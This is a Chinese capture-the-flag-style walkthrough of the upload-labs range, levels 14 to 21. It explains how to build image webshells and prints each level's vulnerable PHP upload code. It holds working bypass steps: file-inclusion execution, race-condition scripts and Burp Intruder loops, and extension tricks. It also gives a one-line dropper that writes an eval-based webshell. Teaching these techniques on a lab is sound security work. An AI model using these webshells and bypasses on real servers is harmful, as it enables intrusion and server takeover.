web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

这篇具有很好参考价值的文章主要介绍了web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

<制作图片马>

制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。

  • 方法1

首先准备好一个图片(这里是1.png)。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

后面粘贴上一句话木马。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

图片依然可以正常打开。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)
  • 方法2

首先准备好一个图片(这里是1.png)。

再准备好一个一句话木马(这里是2.php)。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

打开命令提示符,首先进入上面两个文件存放的路径。

cd C:\Users\WYR\Desktop

使用下面的命令进行图片马合成。

copy 1.png/b + 2.php/a 3.png
web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)
web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

图片依然可以正常打开。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

<Pass-14>

提示:
本pass检查图标内容开头2个字节!

原码:
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知此源代码是验证前缀(文件头信息)。

首先将上面创建的图片马进行上传。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

上传成功。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

右键点击图片复制图片路径。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击“文件包含漏洞”进入测试网页运行图片马中的恶意代码进行测试。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

在测试网页内的网址后添加上传的文件马的路径,然后回车运行。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

上半部分是图片内容,下半部分是一句话木马返回的内容。

<Pass-15>+getimagesize()函数

提示:
本pass使用getimagesize()检查是否为图片文件!

原码:
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知存在如下语句进行验证。

$info = getimagesize($filename);

此语句就是一个检测,如果上传的文件是php格式就得不到图片的尺寸,就会返回错误,后面的代码就无法执行,文件就没办法成功上传。

此关同<Pass-14>通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

getimagesize()函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法格式:
array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。


<Pass-16>+exif_imagetype()函数

提示:
本pass使用exif_imagetype()检查是否为图片文件!

原码:
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

分析源码可知存在如下语句进行验证。

$image_type = exif_imagetype($filename);

此语句就是一个检测,如果上传的文件是php格式不是图片,就会返回错误,后面的代码就无法执行,文件就没办法成功上传。

此关同<Pass-14>通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型。

语法格式:
intexif_imagetype( string $filename )

该函数接受单个参数$filename,该参数保存图像的名称或URL。


<Pass-17>+imagecreatefrom 系列函数

提示:
本pass重新渲染了图片!

原码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

分析源码可知存在如下语句进行验证。

$im = imagecreatefromjpeg($target_path);
$im = imagecreatefrompng($target_path);
$im = imagecreatefromgif($target_path);

此关同<Pass-14>通关方法一样,均是将图片马上传之后,结合文件包含漏洞进行绕过,进入测试网页进行测试后,均可执行php后门代码。


知识补充:

imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串。

该系列函数有:

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像

imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像

语法格式:
resource imagecreatefromgif(string filename)
resource imagecreatefromjpeg(string filename)
resource imagecreatefrompng(string filename)
resource imagecreatefromwbmp(string filename)
resource imagecreatefromstring(string image)

<Pass-18>+move_uploaded_file()函数

提示:
需要代码审计!

原码:
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

此关涉及到了二次渲染的知识,比如我们平时在进行文件上传时,在我们上传文件后,网站会对图片进行二次处理(格式、尺寸、保存、删除要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

而二次渲染可能会存在逻辑漏洞,就是它验证的地方是在第一步还是在第二步。

还涉及到条件竞争的知识,我们在日常生活里使用电脑可以发现,如果文件正在被使用或者查看,就无法对文件进行删除或者文件名修改等操作。

此关先创建了一个只包含图片文件的白名单,随后提取出文件的后缀名,将文件移动至上传目录后才判断文件是否合法,不合法就删除。

因此可以利用这两点,不停且迅速地上传、访问文件(可以使用使用BURP和Python脚本来实现),网站的代码就不能完成对上传文件的名称的修改,可以利用这一点防止php后缀被更改导致php代码不能正常运行。

操作流程:

Python脚本(可用可不用,可以手动进行):
import requests
url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    web_result=requests.get(url)
    if web_result.status_code == 200:
        print("Success")
        break
    else:
        print("Failed")
2.php内容:
<?php phpinfo();?>

上传一句话木马文件后使用BURP抓包,右键数据包后,点击“Send to Intruder”发送至“Intruder”(或者使用键盘的Ctrl+I键)。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)
web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击“Intruder”后点击“Positions”,然后点击“Clear”。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击“Payloads”后,设置“Payload type”为“Null payloads”,设置“Payload Options”为“Continue indefinitely”。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

进行完上面设置后,点击“Start attack”来开始不断上传该文件。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

此时如果查看“upload”目录可以看到一句话木马文件会不断出现、消失、出现、消失...

然后可以选择运行脚本来不断访问该文件,也可以打开另一个浏览器输入文件路径后手动对文件进行访问。

这里展示手动访问,不断刷新网页后到某一时刻可以成功得到一句话木马执行后返回的页面。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

知识补充:

move_uploaded_file() 函数把上传的文件移动到新位置。

如果成功该函数返回 TRUE,如果失败则返回 FALSE。

语法格式:
move_uploaded_file(file,newloc)

参数

描述

file

必需。规定要移动的文件。

newloc

必需。规定文件的新位置。

提示和注释:

注释1:该函数仅用于通过 HTTP POST 上传的文件。

注释2:如果目标文件已经存在,将会被覆盖。


<Pass-19>

提示:
需要代码审计!

原码:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

此关和前一关非常类似,但是Pass-19进行了一个文件名过滤,因此php后缀文件就无法上传了,只能上传图片马,然后结合“文件包含漏洞”进行绕过。

上传文件后,进行白名单检测,移动文件,然后进行重命名。

将文件上传后,对文件重新命名时,同样存在条件竞争的漏洞。可以利用<Pass-18>类似方法进行绕过,但是此时访问的地址就是文件包含的那个地址了。

操作流程:

Python脚本(可用可不用,可以手动进行):
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
2.php内容:
<?php phpinfo();?>

补充:
<?php fputs(fopen('Muma.php','w'),'<?php @eval($_POST["Muma"])?>');?>

此关文件上传的路径与前面挂卡的路径不一样,在网站的根目录,为了更加方便,将文件路径仍然改到“upload”下。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

上传一句话木马文件后使用BURP抓包,右键数据包后,点击“Send to Intruder”发送至“Intruder”(或者使用键盘的Ctrl+I键)。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)
web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击“Intruder”后点击“Positions”,然后点击“Clear”。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击“Payloads”后,设置“Payload type”为“Null payloads”,设置“Payload Options”为“Continue indefinitely”。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

进行完上面设置后,点击“Start attack”来开始不断上传该文件。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

然后可以选择运行脚本来不断访问该文件,也可以打开另一个浏览器输入文件路径后手动对文件进行访问。

这里展示手动访问,不断刷新网页后到某一时刻可以成功得到一句话木马执行后返回的页面,上半部分是图片内容,下半部分是一句话木马执行后返回的内容。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

<Pass-20>

提示:
本pass的取文件名通过$_POST来获取。

原码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

此关只对保存的文件后缀进行了黑名单检测,未对上传的文件类型做什么判断,其它防护全部没做。所以我们可以有多种方法进行绕过,这里将一种方法。

分析原码可以看出这些黑名单都是小写的形式,也就是说我们完全可以上传一个一句话木马然后将其”保存名称”修改为“.PHP”(改为“.php/.”也可以)后缀即可绕过。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击上传后发现成功进行了绕过。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

访问发现代码可以正常执行。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

<Pass-21>

提示:
Pass-20来源于CTF,请审计代码!

原码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

此关存在多重验证。

首先进行白名单验证MIME类型。

然后判断save_name参数是否为空,如果为空就把文件本来的名称赋值给“$file”,如果不为空就将“save_name”参数的值赋给它。

接下来判断“$file”是否是数组。

如果不是数组则将其拆分成数组,然后使用“end()函数”取出数组最后一个的值,取出后同白名单做比较,如果与“$allow_suffix”中的后缀匹配,就允许继续上传。

之后代码会将数组的值拼接在一起对文件进行重命名。

操作流程:

首先选中要上传的一句话木马文件“2.jpg”。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击上传使用BURP抓包。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

将数据包修改为如下样式。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

点击放包后可以在网页内看到文件成功上传了。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

访问文件地址可以看到一句话木马成功执行了。

web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

至此upload-labs靶场全部关卡通关教程已结束

其它关卡可以参照前两篇文章文章来源地址https://www.toymoban.com/news/detail-464495.html


到了这里,关于web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web 安全之文件上传漏洞详解

    目录 文件上传漏洞的类型 文件上传的攻击方式 文件上传漏洞影响 防护措施 小结 文件上传漏洞是网络安全中的常见问题,通常发生在网站或应用程序允许用户上传文件到服务器的场景。这类漏洞如果被攻击者利用,可能导致数据泄露、非法文件分发、服务器入侵甚至整个系

    2024年02月04日
    浏览(13)
  • Web安全之文件上传漏洞详解

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致

    2024年02月13日
    浏览(18)
  • Web安全:文件上传漏洞测试(防止 黑客利用此漏洞.)

    现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(php,jsp、aspx,asp文

    2024年02月11日
    浏览(12)
  • 23 WEB漏洞-文件上传之解析漏洞编辑器安全

    各个WEB编辑器安全讲解 https://navisec.it/编辑器漏洞手册/ 各个CMS文件上传简要讲解 wordpress,phpcms, 参考共享的中间件漏洞PDF IIS6/7简要说明-本地搭建 Apache配置安全–vulhub Apache解析漏洞-低版本 利用场景: 如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识

    2024年02月11日
    浏览(12)
  • 《WEB安全漏洞30讲》(第5讲)任意文件上传漏洞

    文件上传漏洞,指攻击者利用程序缺陷绕过系统对文件的验证与处理策略将恶意程序上传到服务器并获得执行服务器端命令的能力。 这个漏洞其实非常简单,就是攻击者给服务器上传了恶意的木马程序,然后利用此木马程序执行操作系统命令,从而获得服务器权限,造成严重

    2024年02月12日
    浏览(12)
  • 小迪安全33WEB 攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    # 知识点: 1 、中间件安全问题 2 、中间件文件上传解析 3 、 Web 应用编辑器上传 编辑器也就是第三方插件,一般都是文件上传漏洞 # 详细点: 1 、检测层面:前端,后端等 2 、检测内容:文件头,完整性,二次渲染等 3 、检测后缀:黑名单,白名单, MIME 检测等 4 、绕过技

    2024年03月16日
    浏览(20)
  • 24 WEB漏洞-文件上传之WAF绕过及安全修复

    safedog BT(宝塔) XXX云盾 宝塔过滤的比安全狗厉害一些,在真实情况下现在很多网站都是用宝塔 Content-Disposition: 表单数据,一般可更改 name:表单参数值,不能更改,改完之后,数据包是有问题的,跟前端的表单值会对不上,这样后端会无法判断你上传的地方,如果要更改,那

    2024年02月10日
    浏览(10)
  • 33、WEB攻防——通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    IIS爆过漏洞的版本:IIS6.0(windows server 2003)、IIS7.0和IIS7.5(windows server 2008) IIS6.0解析漏洞: 文件名:x.asp;x.jpg,jpg的文件后缀名,但是会被解析为asp文件; 目录名:x.asp/x.jpg, 文件目录名含有.asp后缀,x.jpg也会被解析为asp文件。 触发条件: IIS6.0这个中间件; 上传文件能不

    2024年01月24日
    浏览(21)
  • 一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路! 欢

    2024年01月18日
    浏览(12)
  • [网络安全] Windows Server 设置文件屏蔽防止黑客利用漏洞上传特定类型的非法文件(.asp .aspx .jsp .php)

    [网络安全] Windows Server 设置文件屏蔽防止黑客利用文件上传漏洞上传特定类型的非法文件(.asp .aspx .jsp .php) 我在负责网站运维期间,遇到过一次黑客利用公司网站内使用的开源文件上传工具漏洞上传非法文件(可执行脚本) 我是通过设置文件屏蔽来防止此类事件的再次发生。

    2024年02月12日
    浏览(12)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包